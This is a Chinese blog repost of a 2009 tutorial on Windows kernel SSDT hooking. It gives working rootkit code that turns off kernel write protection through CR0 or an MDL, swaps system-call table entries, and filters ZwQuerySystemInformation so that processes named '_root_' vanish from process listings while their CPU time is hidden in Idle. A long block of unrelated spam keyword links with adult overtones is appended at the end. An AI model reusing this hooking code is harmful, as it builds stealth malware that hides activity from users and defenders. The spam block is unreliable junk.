• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉(zhuǎn),開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            Using SSDT HOOK To Hide Processes

            Posted on 2009-10-17 12:16 S.l.e!ep.¢% 閱讀(321) 評論(0)  編輯 收藏 引用 所屬分類: Windows WDM
            Using SSDT HOOK To Hide Processes
            2009-06-05 21:11
            原文出處:http://bbs.tian6.com/redirect.php?tid=12021&goto=lastpost


            前言:
            這只是一篇類似于教學性的paper,在本文中闡述了一些SSDT HOOK的基本原理與實現(xiàn)方法,方法并不高深也不新穎,只是方便如同我一般的小菜們能夠了解SSDT HOOK的概念,并通過一個小程序?qū)崿F(xiàn)ring0下SSDT HOOK來隱藏特定進程。大牛請飄過。

            什么是SSDT?
            SSDT(System Service Dispatch Table)系統(tǒng)服務描述符表,它用來查詢處理系統(tǒng)調(diào)用的特定函數(shù)。也就是說,這個表把ring3下UserMode的Win32 API同ring0下Kernel API相聯(lián)系。

            SSDT HOOK 有什么用?
            通過修改SSDT中的函數(shù)入口地址來HOOK SSDT中的函數(shù),你可以過濾掉你所關心的特定結果,從而欺騙操作系統(tǒng)。比如,你可以隱藏特定的進程,隱藏文件,隱藏端口等等。


            下面讓我們正式進入到SSDT?? HOOK的探索旅程中吧!
            我首先會闡述一些關于SSDT的基本概念,然后介紹了SSDT工作的原理,再次介紹如何繞過內(nèi)存的寫保護來修改SSDT,最后通過一個簡單的例子來介紹如何使用SSDT HOOK來隱藏進程。

            SSDT的基本概念
            SSDT通過索引系統(tǒng)調(diào)用號來查找在內(nèi)存中的函數(shù)地址。而另一個被稱為SSPT(System Service Parameter Table)系統(tǒng)服務參數(shù)表,它則指定了每一個系統(tǒng)服務的函數(shù)參數(shù)的字節(jié)數(shù)。
            KeServiceDescriptorTable是一個內(nèi)核的導出表,這個表中包含一個指向部分SSDT的指針。而SSDT中則包含著內(nèi)核的主要部 分,Ntoskrnl.exe中的核心系統(tǒng)服務的實現(xiàn)。KeServiceDescriptorTable當然也包含一個指向SSPT的指針。
            SSDT中包含著每一個內(nèi)核導出函數(shù)的地址,每個地址是4字節(jié)長。SSPT中每個元素則是1字節(jié)長,而且用16進制來表示SSDT中指定函數(shù)的參數(shù)長度。在下圖中,在地址0x804AB3BF的函數(shù),它的參數(shù)長度是0x18。

            當調(diào)用一個指定的函數(shù)時,KiSystemService只是簡單的用目標函數(shù)的ID號乘以4,來得到SSDT中的偏移地址。KeServiceDescriptorTable中包含著服務的數(shù)目,這個值可以用來找到SSDT或者SSPT中的最大偏移。
            當調(diào)用INT 2E或者SYSENTER指令時,將會觸發(fā)系統(tǒng)服務。這將使得進程進入到Kernel Mode,也就是所說的ring0。應用程序能夠直接觸發(fā)system service dispatcher,KiSystemService,或者通過使用子系統(tǒng)來觸發(fā)。如果使用的是子系統(tǒng)的話(比如Win32),那么它將進入到 Ntdll.dll,然后把請求的系統(tǒng)函數(shù)索引號或者系統(tǒng)服務標志符裝入到EAX中,再把函數(shù)參數(shù)的地址裝入到EDX中。然后system service dispatcher將會核查參數(shù),把它們從用戶棧復制到內(nèi)核棧。它然后調(diào)用通過EAX中系統(tǒng)服務標志符來指定的SSDT中索引的函數(shù)。
            一旦你的應用程序被作為一個驅(qū)動程序加載,它就能夠改變SSDT中指向的函數(shù)變?yōu)槟阕约旱暮瘮?shù),而不是Ntoskrnl.exe 或者Win32k.sys中的函數(shù)。當一個非內(nèi)核的程序進入到內(nèi)核時,它的請求被system service dispatcher處理,并且你的程序的函數(shù)將被調(diào)用?;谶@一點,你就可以有效地隱藏自己的程序,包括它所使用的資源,返回一個虛假的信息給應用程 序。


            改寫SSDT內(nèi)存保護

            Windows系統(tǒng)對部分內(nèi)存起用了寫保護,來防止內(nèi)存頁被修改,比如Windows XP和Windows 2003。它們使得SSDT變成只讀的表,以此來防止任何應用程序來修改這個表。
            寫保護操作給你的應用程序提出了一個挑戰(zhàn),它使得你想HOOK某些系統(tǒng)調(diào)用來過濾返回信息變得困難起來。如果你試圖去對一個只讀的內(nèi)存進行操作,那么你將會遇到BSoD,也就是經(jīng)典的藍屏死機的問題。
            有兩個方法可以繞過寫保護,一種是修改控制寄存器CR0中的寫保護位來繞過,另一種是利用Memory Descriptor List (MDL)來繞過寫保護。

            先說第一種方法,第一種方法比較簡單,也就是只要把CR0中的WP(寫保護)位設置為0,就可以禁止內(nèi)存保護。

            據(jù)說修改MDL才是正規(guī)的做法

            // 取消內(nèi)存保護
            ?? __asm
            ?? {
            ?? ?? ?? push eax
            ?? ?? ?? mov?? eax, CR0
            ?? ?? ?? and?? eax, 0FFFEFFFFh
            ?? ?? ?? mov?? CR0, eax
            ?? ?? ?? pop?? eax
            ?? }
            // 重新起用內(nèi)存保護
            ?? __asm
            ?? {
            ?? ?? ?? push eax
            ?? ?? ?? mov?? eax, CR0
            ?? ?? ?? or eax, NOT 0FFFEFFFFh
            ?? ?? ?? mov?? CR0, eax
            ?? ?? ?? pop?? eax
            ?? }

            第二種方法是利用MDL,這個方法在Microsoft的文檔中講得很詳細了。
            你可以在MDL中描述一段內(nèi)存,包括內(nèi)存段的起始位置,所擁有的進程,字節(jié)數(shù),內(nèi)存段的標志等等。

            // MDL references defined in ntddk.h
            typedef struct _MDL {
            struct _MDL *Next;
            CSHORT Size;
            CSHORT MdlFlags;
            struct _EPROCESS *Process;
            PVOID MappedSystemVa;
            PVOID StartVa;
            ULONG ByteCount;
            ULONG ByteOffset;
            } MDL, *PMDL;

            // MDL Flags
            #define MDL_MAPPED_TO_SYSTEM_VA ??? 0x0001
            #define MDL_PAGES_LOCKED ?? ?? ?? 0x0002
            #define MDL_SOURCE_IS_NONPAGED_POOL 0x0004
            #define MDL_ALLOCATED_FIXED_SIZE 0x0008
            #define MDL_PARTIAL ?? ?? ?? ?? ??? 0x0010
            #define MDL_PARTIAL_HAS_BEEN_MAPPED 0x0020
            #define MDL_IO_PAGE_READ ?? ?? ?? 0x0040
            #define MDL_WRITE_OPERATION ?? ?? 0x0080
            #define MDL_PARENT_MAPPED_SYSTEM_VA 0x0100
            #define MDL_LOCK_HELD ?? ?? ?? ?? 0x0200
            #define MDL_PHYSICAL_VIEW ?? ?? ??? 0x0400
            #define MDL_IO_SPACE ?? ?? ?? ?? 0x0800
            #define MDL_NETWORK_HEADER ?? ?? 0x1000
            #define MDL_MAPPING_CAN_FAIL ?? ??? 0x2000
            #define MDL_ALLOCATED_MUST_SUCCEED?? 0x4000

            為了改變內(nèi)存的標志,下面的代碼首先聲明一個結構體,用來保存從Windows內(nèi)核中導出的KeServiceDescriptorTable。當你調(diào)用 MmCreateMdl時,你需要知道KeServiceDescriptorTable的基址和它所擁有的函數(shù)入口的數(shù)量。這個函數(shù)定義了你想要MDL 描述的內(nèi)存段的起始地址和大小。然后你的應用程序在內(nèi)存的非頁池中創(chuàng)建MDL。
            你的應用程序可以通過改變MDL的標志來使得你可以寫內(nèi)存段,也就是把MDL flag設置為MDL_MAPPED_TO_SYSTEM_VA。然后調(diào)用MmMapLockedPages來鎖定內(nèi)存中的MDL頁。
            現(xiàn)在,你可以準備HOOKING SSDT了,在下面的代碼中,MappedSystemCallTable中的地址同SSDT的內(nèi)容相一致,但是,現(xiàn)在你可以修改它了。

            // 聲明
            #pragma pack(1)

            typedef struct ServiceDescriptorEntry {
            ?? ??? unsigned int *ServiceTableBase;
            ?? ??? unsigned int *ServiceCounterTableBase;
            ?? ??? unsigned int NumberOfServices;
            ?? ??? unsigned char *ParamTableBase;
            } SSDT_Entry;

            #pragma pack()
            __declspec(dllimport) SSDT_Entry KeServiceDescriptorTable;

            PMDL?? g_pmdlSystemCall;
            PVOID *MappedSystemCallTable;

            // 保存原始的系統(tǒng)調(diào)用地址,映射到我們的域中,來改變MDL的保護
            g_pmdlSystemCall = MmCreateMdl(NULL,
            ?? ?? ?? ?? ?? KeServiceDescriptorTable.ServiceTableBase,
            ?? ?? ?? ?? ?? KeServiceDescriptorTable.NumberOfServices*4);
            if(!g_pmdlSystemCall)
            return STATUS_UNSUCCESSFUL;
            MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
            // 改變MDL的標志
            g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags |
            ?? ?? ?? ?? ?? ?? ?? ?? ??? MDL_MAPPED_TO_SYSTEM_VA;
            MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);

            HOOKING SSDT

            下面列出了幾個對HOOKING SSDT比較有用的宏。

            #define SYSTEMSERVICE(_func) \
            ?? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]

            #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)

            #define HOOK_SYSCALL(_Function, _Hook, _Orig ) ?? \
            ?? ??? _Orig = (PVOID) InterlockedExchange( (PLONG) \
            ?? ??? &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

            #define UNHOOK_SYSCALL(_Func, _Hook, _Orig )?? \
            ?? ??? InterlockedExchange((PLONG) ?? ?? ??? \
            ?? ??? &MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)

            SYSTEMSERVICE宏的參數(shù)(姑且稱為參數(shù)吧)是ntoskrnl.exe導出的函數(shù)地址,是一個Zw* 型的函數(shù),返回一個在SSDT表中Nt*型的函數(shù)地址。
            SYSCALL_INDEX宏的參數(shù)是Zw*型的函數(shù)的地址,返回一個在SSDT中相一致的索引號。
            HOOK_SYSCALL 和 UNHOOK_SYSCALL宏則是把Zw*型的被HOOK的函數(shù)地址同_Hook函數(shù)地址在SSDT中自動交換。
            這幾個宏將會在下面的例子中非常有用。

            例子:使用SSDT HOOK來隱藏進程

            ?? Windows操作系統(tǒng)使用ZwQuerySystemInformation函數(shù)來查詢許多不同的操作系統(tǒng)信息。比如,任務管理器 Taskmgr.exe,就是使用這個函數(shù)來獲得系統(tǒng)的進程列表。返回的信息則是依靠SystemInformationClass來決定的。比如,在這 個例子中,我們想要獲得系統(tǒng)的進程信息,我們需要把SystemInformationClass設置為5。更多詳細的信息,請參閱Microsoft Windows DDK。
            一旦你的程序在SSDT中替換了NtQuerySystemInformation,你的HOOK程序就能調(diào)用原始的系統(tǒng)調(diào)用,并且過濾掉敏感信息。
            在SystemInformationClass buffer中,包含著_SYSTEM_PROCESSES結構體和與其相對應的_SYSTEM_THREADS結構體。在 _SYSTEM_PROCESSES中,進程名是UNICODE_STRING的。兩個LARGE_INTEGER則是進程的user和kernel的時 間。當你的程序隱藏一個進程的時候,你的程序應該把這個進程的執(zhí)行開銷所花費的時間加到列表中的其它進程中,以保證CPU的總的時間是100%。
            下面的是ZwQuerySystemInformation所返回的進程和線程的結構體。


            struct _SYSTEM_THREADS
            {
            ?? ??? LARGE_INTEGER ?? ?? ??? KernelTime;
            ?? ??? LARGE_INTEGER ?? ?? ??? UserTime;
            ?? ??? LARGE_INTEGER ?? ?? ??? CreateTime;
            ?? ??? ULONG ?? ?? ?? ?? ?? WaitTime;
            ?? ??? PVOID ?? ?? ?? ?? ?? StartAddress;
            ?? ??? CLIENT_ID ?? ?? ?? ?? ClientIs;
            ?? ??? KPRIORITY ?? ?? ?? ?? Priority;
            ?? ??? KPRIORITY ?? ?? ?? ?? BasePriority;
            ?? ??? ULONG ?? ?? ?? ?? ?? ContextSwitchCount;
            ?? ??? ULONG ?? ?? ?? ?? ?? ThreadState;
            ?? ??? KWAIT_REASON ?? ?? ?? WaitReason;
            };

            struct _SYSTEM_PROCESSES
            {
            ?? ??? ULONG ?? ?? ?? ?? ?? NextEntryDelta;
            ?? ??? ULONG ?? ?? ?? ?? ?? ThreadCount;
            ?? ??? ULONG ?? ?? ?? ?? ?? Reserved[6];
            ?? ??? LARGE_INTEGER ?? ?? ??? CreateTime;
            ?? ??? LARGE_INTEGER ?? ?? ??? UserTime;
            ?? ??? LARGE_INTEGER ?? ?? ??? KernelTime;
            ?? ??? UNICODE_STRING ?? ?? ProcessName;
            ?? ??? KPRIORITY ?? ?? ?? ?? BasePriority;
            ?? ??? ULONG ?? ?? ?? ?? ?? ProcessId;
            ?? ??? ULONG ?? ?? ?? ?? ?? InheritedFromProcessId;
            ?? ??? ULONG ?? ?? ?? ?? ?? HandleCount;
            ?? ??? ULONG ?? ?? ?? ?? ?? Reserved2[2];
            ?? ??? VM_COUNTERS ?? ?? ?? VmCounters;
            ?? ??? IO_COUNTERS ?? ?? ?? IoCounters; ?? ??? //windows 2000 only
            ?? ??? struct _SYSTEM_THREADS?? Threads[1];
            };


            下面的NewZwQuerySystemInformation將會過濾掉所有以“"_root_”打頭的進程名,并且把它們的運行開銷加到Idle的進程中,也就是加到系統(tǒng)空閑進程中。


            ///////////////////////////////////////////////////////////////////////
            // NewZwQuerySystemInformation 函數(shù)
            // ZwQuerySystemInformation() 返回一個進程的鏈表
            // 下面的函數(shù)將會去掉所有以“_root_”打頭的進程
            NTSTATUS NewZwQuerySystemInformation(
            ?? ?? ?? IN ULONG SystemInformationClass,
            ?? ?? ?? IN PVOID SystemInformation,
            ?? ?? ?? IN ULONG SystemInformationLength,
            ?? ?? ?? OUT PULONG ReturnLength)
            {
            NTSTATUS ntStatus;
            ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))
            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? (SystemInformationClass,
            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? SystemInformation,
            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? SystemInformationLength,
            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? ReturnLength);
            if( NT_SUCCESS(ntStatus))
            {
            ?? if(SystemInformationClass == 5)
            ?? {
            ?? ??? // 查詢進程的鏈表,并且去掉以“_root_”打頭的進程
            ?? ?? struct _SYSTEM_PROCESSES *curr =
            ?? ?? ?? ?? (struct _SYSTEM_PROCESSES *) SystemInformation;
            ?? ??? struct _SYSTEM_PROCESSES *prev = NULL;
            ?? ??? while(curr)
            ?? ??? {
            ?? ?? //DbgPrint("Current item is %x\n", curr);
            ?? ?? if (curr->ProcessName.Buffer != NULL)
            ?? ?? {
            ?? ?? ?? if(0 == memcmp(curr->ProcessName.Buffer, L"_root_", 12))
            ?? ?? ?? {
            ?? ?? ?? ?? m_UserTime.QuadPart += curr->UserTime.QuadPart;
            ?? ?? ?? ?? m_KernelTime.QuadPart +=
            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? curr->KernelTime.QuadPart;
            ?? ?? ?? ?? if(prev) ?? // 鏈表的第二個節(jié)點到最后一個節(jié)點的處理
            ?? ?? ?? ?? {
            ?? ?? ?? ?? ?? if(curr->NextEntryDelta)
            ?? ?? ?? ?? ?? ?? prev->NextEntryDelta +=
            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? curr->NextEntryDelta;
            ?? ?? ?? ?? ?? else ?? // 最后一個節(jié)點
            ?? ?? ?? ?? ?? ?? prev->NextEntryDelta = 0;
            ?? ?? ?? ?? }
            ?? ?? ?? ?? else
            ?? ?? ?? ?? {
            ?? ?? ?? ?? ?? if(curr->NextEntryDelta)
            ?? ?? ?? ?? ?? {
            ?? ?? ?? ?? ?? ?? // 鏈表的第一個節(jié)點,向后移動指針
            ?? ?? ?? ?? ?? ?? (char*)SystemInformation +=
            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? curr->NextEntryDelta;
            ?? ?? ?? ?? ?? }
            ?? ?? ?? ?? ?? else ?? ?? // 只有一個節(jié)點
            ?? ?? ?? ?? ?? ?? SystemInformation = NULL;
            ?? ?? ?? ?? }
            ?? ?? ?? }
            ?? ?? }
            ?? ?? else ?? ?? ?? ?? // Idle進程的入口
            ?? ?? {
            ?? ?? ?? // 把 _root_*進程開銷加到Idle的進程中去
            ?? ?? ?? curr->UserTime.QuadPart += m_UserTime.QuadPart;
            ?? ?? ?? curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
            ?? ?? ?? // 為我們下次過濾的時候重置
            ?? ?? ?? m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
            ?? ?? }
            ?? ?? prev = curr;
            ?? ?? ??? if(curr->NextEntryDelta)((char*)curr+=
            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ??? curr->NextEntryDelta);
            ?? ?? ?? else curr = NULL;
            ?? }
            ?? }
            ??? else if (SystemInformationClass == 8)
            ??? {
            ?? ?? // 查詢系統(tǒng)進程開銷
            ?? ?? struct _SYSTEM_PROCESSOR_TIMES * times =
            ?? ?? ??? (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
            ?? ?? times->IdleTime.QuadPart += m_UserTime.QuadPart +
            ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? m_KernelTime.QuadPart;
            ?? }
            }
            return ntStatus;
            }


            注:以上代碼來源于www.rootkit.com,完整代碼下載地址為:http://www.rootkit.com/vault/fuzen_op/HideProcessHookMDL.zip

            現(xiàn)在你的程序可以把進程中所有以“_root_”打頭的進程都隱藏起來了,當然你可以更改隱藏的進程名。
            通過上述的例子,你可以明白HOOK的好處了吧,當然在SSDT中還有許多值得我們HOOK的函數(shù),展開你的想象吧,沒有做不到,只有想不到!
            四虎亚洲国产成人久久精品| 久久久噜噜噜久久中文字幕色伊伊| 国产成人AV综合久久| 精品熟女少妇av免费久久| 久久婷婷五月综合成人D啪| 久久国产精品无码网站| 国产精品成人无码久久久久久 | 国产精品女同久久久久电影院| 亚洲国产日韩综合久久精品| 国产香蕉久久精品综合网| 精品国产乱码久久久久软件| 日韩人妻无码一区二区三区久久99| 亚洲欧美精品一区久久中文字幕| 色综合久久中文字幕综合网| 欧美黑人激情性久久| 婷婷五月深深久久精品| 精品蜜臀久久久久99网站| 99久久婷婷免费国产综合精品| 日本精品久久久久中文字幕| 久久精品国产福利国产琪琪| 久久久国产亚洲精品| 欧洲成人午夜精品无码区久久| 久久99国产精品久久99果冻传媒| 国产精品成人久久久久三级午夜电影 | 亚洲色欲久久久久综合网| 亚洲午夜无码久久久久| 久久精品一区二区三区不卡| 国产综合成人久久大片91| 青青草原综合久久大伊人| 久久丫精品国产亚洲av| 久久精品国产精品亚洲艾草网美妙| 人人狠狠综合久久亚洲高清| 久久国产精品一国产精品金尊| 国产亚洲精久久久久久无码AV| 女人高潮久久久叫人喷水| 精品国产一区二区三区久久| 精品久久久一二三区| 久久噜噜电影你懂的| 欧美黑人激情性久久| 久久综合久久伊人| 欧美777精品久久久久网|